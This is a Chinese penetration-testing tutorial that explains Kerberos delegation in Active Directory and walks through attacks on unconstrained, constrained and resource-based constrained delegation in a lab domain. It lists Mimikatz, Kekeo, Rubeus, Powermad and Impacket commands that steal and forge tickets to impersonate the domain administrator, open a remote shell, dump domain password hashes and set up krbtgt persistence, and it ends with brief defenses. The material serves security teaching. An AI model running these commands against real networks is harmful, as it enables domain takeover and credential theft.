首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >内网渗透|域内委派详解

内网渗透|域内委派详解

作者头像
HACK学习
发布2021-08-13 16:05:51
2.4K0
发布2021-08-13 16:05:51
举报
文章被收录于专栏:HACK学习HACK学习

委派概述:

域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动。 简言之:当A访问服务B时,服务B拿着A用户的凭证去访问服务C,这个过程称为委派。

委派的方式:

非约束委派和约束委派,基于资源的约束委派。

在域内只有主机账号和服务账号才有委派属性 主机账号:活动目录中的computers组内的计算机,也被称为机器账号。 服务账号:域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来加入域内,比如:SQLServer,MYSQL等;域用户通过注册SPN也能成为服务账号。

委派的前提:

被委派的用户不能被设置为不能被委派属性。

查找非约束委派的主机或服务账号(域控默认配置非约束委派属性):

1.利用powersploit中的powerview

Import-Module .\PowerView.ps1;

查询非约束委派的主机 Get-NetComputer -Unconstrained -Domain hiro.com

查询非约束委派的服务账号 Get-NetUser -Unconstrained -Domain hiro.com | select name

2.利用ADFind

查找域中配置非约束委派的用户 AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

查找域中配置非约束委派的主机 AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

查找约束委派的主机或服务账号:

1.利用empire中的powerview

Import-Module .\powerview.ps1;

查询约束委派的主机: Get-DomainComputer -TrustedToAuth -Domain hiro.com | select name

查询约束委派的账号: Get-DomainUser -TrustedToAuth -Domain hiro.com | select name

2.利用ADFind

查找域中配置约束委派用户: AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

查找域中配置约束委派的主机: AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto


非约束委派

大致流程:

user访问serverA,于是向DC发起认证,DC会检查serverA的机器账号的属性,如果是非约束委派的话,会把用户的TGT放在ST票据中并一起发送给serverA 这样serverA在验证ST票据的同时也获取到了用户的TGT,并把TGT储存在自己的lsass进程中以备下次重用,从而serverA就可以使用这个TGT,来模拟这个user访问任何服务。

从攻击角度来说:如果攻击者拿到了一台配置了非约束委派的机器权限,可以诱导管理员来访问该机器,然后可以得到管理员的TGT,从而模拟管理员访问任意服务,相当于拿下了整个域环境。

利用:

域:hiro.com 域控:WIN-KONG IP:192.168.228.10 域管:administrator 受委派机器:WIN-E6FR4HVBPCI

现在将WIN-E6FR4HVBPCI这个机器账号设置为非约束委派。

通过命令行打开adsiedit.msc查看WIN-E6FR4HVBPCI机器属性,可以看到:

当被设置为非约束委派的时候,它的userAccountControl会包含TRUSTED_FOR_DELEGATION字段。

用域管访问WIN-E6FR4HVBPCI机器

然后在WIN-E6FR4HVBPCI上以管理员权限运行mimikatz

privilege::debug

导出票据

sekurlsa::tickets /export

此时拿到了管理员的票据,用mimikatz将票据注入内存中,然后访问域控

导入票据

kerberos::ptt [0;11eeaa]-2-0-60810000-Administrator@krbtgt-HIRO.COM.kirbi

查看票据

kerberos::list

非约束委派+spooler打印机

费约束委派常规利用感觉还是比较鸡肋,想得到域内权限必须要管理员与配置了委派的机器建立连接,所以有国外的大佬研究出了非约束委派+spooler打印机来强制与指定的主机进行连接。开始域控为server2012,后面网上有的大佬说可能是版本的问题,后面升级到了server2016还是报错,这种情况复现不了了,有兴趣的可以自己试一试。也可以参考这篇文章。


约束委派

由于非约束委派的不安全性,微软在windows server 2003中引入了约束委派,对Kerberos协议进行了拓展,引入了S4U,其中S4U支持两个子协议:Service for User to Self (S4U2Self)和 Service for User to Proxy (S4U2proxy),这两个扩展都允许服务代表用户从KDC请求票证。S4U2self可以代表自身请求针对其自身的可转发的Kerberos服务票据(ST1)S4U2proxy可以以用户的名义请求其它服务的ST2约束委派就是限制了S4U2proxy扩展的范围

其中:

S4U2Self用用户的TGT向KDC请求用户的可转发的ST1,再用这张ST1去发起S4U2proxy请求。) 通过此扩展可以拿到一张标识任意用户身份的ST,它的作用其实是协议转换有时用户会通过其他协议(例如NTLM或什至基于表单的身份验证)对服务进行身份验证,因此他们不会将TGS发送给服务。在这种情况下,服务可以调用S4U2Self来要求身份验证服务为其自身的任意用户生成TGS,然后可以在调用S4U2Proxy时将其用作依据。例如网站A服务器可以使用它去向KDC请求一张用户B身份的ST1,网站A服务器再用这张ST1去发起S4U2proxy请求。

S4U2proxy拿用户的可转发的ST1请求用于访问服务器的ST2) 该拓展作用是使用一张用户A身份的ST1去向KDC请求一张用于访问文件服务器B的ST2,这张ST2的身份还是用户的,这样的话网站A就可以利用用户A的权限去访问文件服务器B上的文件了。

大致流程:

user访问serviceA,向DC发起kerberos认证,域控返回user的TGT和ST1票据,user使用ST1票据对serviceA进行访问

如果配置了serviceA到serviceB的约束委派,则serviceA能使用S4U2Proxy协议将用户发给自己的可转发的ST1票据以用户的身份发给DC。

域控返回serviceA一个用来访问serviceB的ST2票据,这样serviceA就能以用户的身份对serviceB发起访问。

由于服务用户只能获取某个用户(或主机)的服务的ST1而非TGT所以只能模拟用户访问特定的服务,但是如果能拿到约束委派用户(或主机)的密码或者Hash,就可以伪造S4U的请求,伪装成服务用户以任意用户的权限申请访问指定服务的ST2

利用:

域:hiro.com 域控:WIN-KONG@192.168.228.10 域管:administrator 受委派机器:WIN-RRI9T9SN85D@192.168.228.15 域用户:win7

首先在域控上将域用户win7注册成为SPN服务账号

setspn -S cifs/WIN-RRI9T9SN85D.hiro.com win7

查看是否注册成功

setspn -L win7

然后将win7用户设置约束委派的属性,为访问域控的cifs(访问文件夹

通过命令行打开adsiedit.msc查看win7用户属性,可以看到:

当被设置为约束委派的时候,它的userAccountControl会包含TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION字段。

并且比非约束委派的账户多了msDS-AllowedToDelegateTo字段,里面包含了允许委派的服务

当知道win7这个服务用户的明文密码或者Hash时,可以用kekeo请求它的TGT

拥有明文密码

tgt::ask /user:win7 /domain:hiro.com /password:123456QWE.

拥有账户的Hash

tgt::ask /user:win7 /domain:hiro.com /NTLM:xxxx

PS:如果既不知道明文也不知道Hash,如果有了服务用户登录的主机权限,可以用mimikatz从内存中把服务用户的TGT dump下来照样可以实现

从内存中导出所有票据

sekurlsa::tickets /export

然后通过win7的TGT伪造s4u请求以administrator身份请求访问WIN-KONG cifs的ST

tgs::s4u /tgt:TGT_win7@HIRO.COM_krbtgt~hiro.com@HIRO.COM.kirbi /user:Administrator@hiro.com /service:cifs/WIN-KONG.hiro.com

用mimikatz将票据导入内存中

kerberos::ptt TGS_Administrator@hiro.com@HIRO.COM_cifs~WIN-KONG.hiro.com@HIRO.COM.kirbi

访问域控:


约束委派请求过程:

tgt::ask /user:win7 /domain:hiro.com /password:123456QWE.

AS-REQ

以用户win7请求TGT

AS-REP

AS返回用户win7的TGT,也就是得到了TGT_win7@HIRO.COM_krbtgt~hiro.com@HIRO.COM.kirbi

tgs::s4u /tgt:TGT_win7@HIRO.COM_krbtgt~hiro.com@HIRO.COM.kirbi /user:Administrator@hiro.com /service:cifs/WIN-KONG.hiro.com

TGS-REQ

win7用户用上一步得到的TGT,用上S4U2Self协议,以administrator的名义向TGS申请一张访问自身服务并且可转发的ST1票据。

TGS-REP

TGS返回administrator的ST1票据给win7

TGS-REQ

win7用户拿到了administrator的ST1票据后,win7带上这张可转发的访问自身服务的票据 ,用上S4U2Proxy协议,以administrator用户的名义请求一张访问WIN-KONG的CIFS服务的ST2票据

TGS-REP

TGS返回以administrator用户访问WIN-KONG的CIFS服务的票据,也就是得到了TGS_Administrator@hiro.com@HIRO.COM_cifs~WIN-KONG.hiro.com@HIRO.COM.kirbi

通过流程可以看出,第一步生成的可转发的ST1只是为了请求第二步以administrator用的名义请求一张访问WIN-KONG的CIFS服务的ST2票据


利用约束委派权限维持

通过约束委派生成黄金票据

TGT由krbtgt Hash加密,如果能通过委派krbtgt服务,那么就能伪造任意用户的TGT了。

由于krbtgt默认是禁用的,所以无法使用页面添加它的SPN。

域控通过powershell添加win7到krbtgt的约束委派:

powershell -exec bypass

Import-Module ActiveDirectory

$user = Get-ADUser win7 (win7为设置为约束委派的服务账号)

Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/hiro.com") }

利用impacket套件攻击

伪造administrator的TGT

python3 getST.py -dc-ip 192.168.228.10 -spn krbtgt/hiro.com -impersonate administrator hiro.com/win7:123456QWE.

export KRB5CCNAME=administrator.ccache

用wmiexec弹出一个权限为administrator交互式的shell

python3 wmiexec.py -no-pass -k administrator@WIN-KONG.hiro.com -dc-ip 192.168.228.10

导出域内哈希

python3 secretsdump.py -no-pass -k WIN-KONG.hiro.com


基于资源的约束委派

传统的委派,在设置的过程中其实都是需要SeEnableDelegation特权,而这个特权需要域管理员才能设置。相对于传统的委派,基于资源的约束委派它不需要域管理员设置,而是机器本身。

约束委派和基于资源的约束委派的区别:

前者:通过服务A委派到服务B,实际是在服务A上增加TRUSTED_FOR_DELEGATION字段(非约束委派),TRUSTED_TO_AUTHENTICATE_FOR_DELEGATIONmsDS-AllowedToDelegateTo约束委派)字段来达到委派的目的。

后者:通过服务B允许服务A委派到服务B,实际是通过服务B自身赋予msDS-AllowedToActOnBehalfOfOtherIdentity字段,从而允许服务A对服务B的基于资源的约束委派。

所以当利用到基于资源的约束委派的时候,服务A的两个字段是没有赋值的当这两个字段没有被赋值的时候,通过S4U2Self得到的ST服务票证是不可被转发而S4U2Proxy的作用就是将可转发的ST票据转发到其他服务进行委派认证的但是在基于资源的约束委派过程中不可转发的ST仍可以通过S4U2Proxy转发到其他服务进行委派认证,并且最后还会返回一张可转发的ST服务票证

因此,如果能够在服务B上配置允许服务A的基于资源的约束委派,那么就可以通过控制服务A使用S4U2Self向域控请求任意用户访问自身的服务票据,最后再使用S4U2Proxy转发此ST票据去请求访问服务B的可转发的ST服务票据,那么我们就可以模拟任意用户访问服务B了。这里可以以普通域用户的身份去创建机器账号作为服务A。

条件

利用基于资源的约束委派(RBCD)需要2个条件:

1.拥有将域机器加入域的域用户的权限。(将机器B加入域的域用户拥有修改机器B的msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限。)

2.一个任意服务账户或者一个机器账户(每一个域用户都可以添加10个机器账户)

利用:

域:hiro.com 域控:WIN-KONG@192.168.228.10 域管:administrator 域内机器:DESKTOP-P34E60A,win10把这台机器加入到域内

通过ADFind查找将域机器拉入域的用户的SID:

AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID

查看S-1-5-21-3105699010-1460039537-418241315-1118是谁:

AdFind.exe -b "DC=hiro,DC=com" -f "(&(objectsid=S-1-5-21-3105699010-1460039537-418241315-1118))" objectclass cn dn

假如现在已经拿到了把DESKTOP-P34E60A这台机器加入域的用户win10的权限

使用whoami /all查询当前用户的sid

同样可以通过用户的sid查看哪些域机器是通过自己加入到域内的:

AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306369)(mS-DS-CreatorSID=S-1-5-21-3105699010-1460039537-418241315-1118))" cn sAMAccountType objectCategory

如果一个机器账号没有mS-DS-CreatorSID,那么他是被域管拉入到域内的

利用powermad添加机器账户:(https://github.com/Kevin-Robertson/Powermad)

Import-Module .\Powermad.ps1

以win10用户创建一个域机器名为win10system,密码为win10

New-MachineAccount -MachineAccount win10system -Password $(ConvertTo-SecureString "win10" -AsPlainText -Force)

验证是否创建成功:

net group "domain computers" /do

查询添加机器的SID:

1.域控上查询:

dsquery computer | dsget computer -dn -sid

或者powershell运行Get-ADComputer win10system

2.域机器上查询:(使用empire下的powerview)

Import-Module .\powerview.ps1

Get-DomainComputer -Identity win10system

然后设置win10system到DESKTOP-P34E60A的基于资源的约束委派(使用empire下的powerview)

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3105699010-1460039537-418241315-1151)"

SDBytes = New-Object byte[] (SD.BinaryLength)

SD.GetBinaryForm(SDBytes, 0)

Get-DomainComputer DESKTOP-P34E60A| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

检查是否配置成功

Get-DomainComputer DESKTOP-P34E60A -Properties msds-allowedtoactonbehalfofotheridentity

攻击完成清除基于资源的约束委派配置:

Set-DomainObject DESKTOP-P34E60A -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose

也可以在域控上通过命令行打开adsiedit.msc查看CN=DESKTOP-P34E60A机器属性,可以看到:

当被设置为基于资源的约束委派的时候,它的msds-allowedtoactonbehalfofotheridentity会包含有效字段。

现在已经配置好利用条件就可以通过基于资源的约束委派进行攻击了

1.使用rubues获取票据

Rubeus.exe hash /user:win10system /password:win10 /domain:hiro.com

Rubeus.exe s4u /user:win10system$ /rc4:6C4FD556DB12BE51BACD9A3CC19D486E /impersonateuser:administrator /msdsspn:cifs/DESKTOP-P34E60A /ptt

2.使用impacket套件获取

python3 getST.py -dc-ip 192.168.228.10 -spn cifs/DESKTOP-P34E60A -impersonate administrator hiro.com/win10system$:win10

set KRB5CCNAME=administrator.ccache

python3 wmiexec.py -no-pass -k administrator@DESKTOP-P34E60A.hiro.com -dc-ip 192.168.228.10

利用基于资源的约束委派进行权限维持

跟约束委派利用相似,可以配置win10system到krbtgt的基于资源的约束委派,只要有了win10system的权限,就能伪造任意用户请求krbtgt服务,则可以请求到任意用户的TGT

在域控上执行:

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3105699010-1460039537-418241315-1151)"

SDBytes = New-Object byte[] (SD.BinaryLength)

SD.GetBinaryForm(SDBytes, 0)

Set-DomainObject krbtgt -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

可以看到brbtgt的msds-allowedtoactonbehalfofotheridentity会包含有效字段。

1.使用rubeus伪造administrator请求TGT

Rubeus.exe s4u /user:win10system$ /rc4:6C4FD556DB12BE51BACD9A3CC19D486E /impersonateuser:administrator /msdsspn:krbtgt /ptt

klist查看缓存票证

访问域控

2.同样的也能用impacket套件

python3 getST.py -dc-ip 192.168.228.10 -spn krbtgt -impersonate administrator hiro.com/win10system$:win10

set KRB5CCNAME=administrator.ccache

python3 wmiexec.py -no-pass -k administrator@WIN-KONG.hiro.com -dc-ip 192.168.228.10


防御:

1.高权限账号设置禁止委派属性

2.微软推出了protected users组,组内用户不允许被委派,适用于Windows Server 2016,Windows Server 2012 R2、 Windows Server 2012

3.kerberos预认证不使用DES或RC4等加密算法(尽量使用AES256)同样能够预防Kerberoast攻击

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-08-04,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 HACK学习呀 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 委派概述:
    • 委派的方式:
      • 委派的前提:
      • 查找非约束委派的主机或服务账号(域控默认配置非约束委派属性):
        • 1.利用powersploit中的powerview
          • 2.利用ADFind
          • 查找约束委派的主机或服务账号:
            • 1.利用empire中的powerview
              • 2.利用ADFind
              • 非约束委派
                • 大致流程:
                  • 利用:
                    • 非约束委派+spooler打印机
                • 约束委派
                  • 大致流程:
                    • 利用:
                      • 约束委派请求过程:
                        • AS-REQ
                          • AS-REP
                            • TGS-REQ
                              • TGS-REP
                                • TGS-REQ
                                  • TGS-REP
                                    • 利用约束委派权限维持
                                    • 基于资源的约束委派
                                      • 约束委派和基于资源的约束委派的区别:
                                        • 条件
                                          • 利用:
                                            • 利用基于资源的约束委派进行权限维持
                                            • 防御:
                                            相关产品与服务
                                            访问管理
                                            访问管理(Cloud Access Management,CAM)可以帮助您安全、便捷地管理对腾讯云服务和资源的访问。您可以使用CAM创建子用户、用户组和角色,并通过策略控制其访问范围。CAM支持用户和角色SSO能力,您可以根据具体管理场景针对性设置企业内用户和腾讯云的互通能力。
                                            领券
                                            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档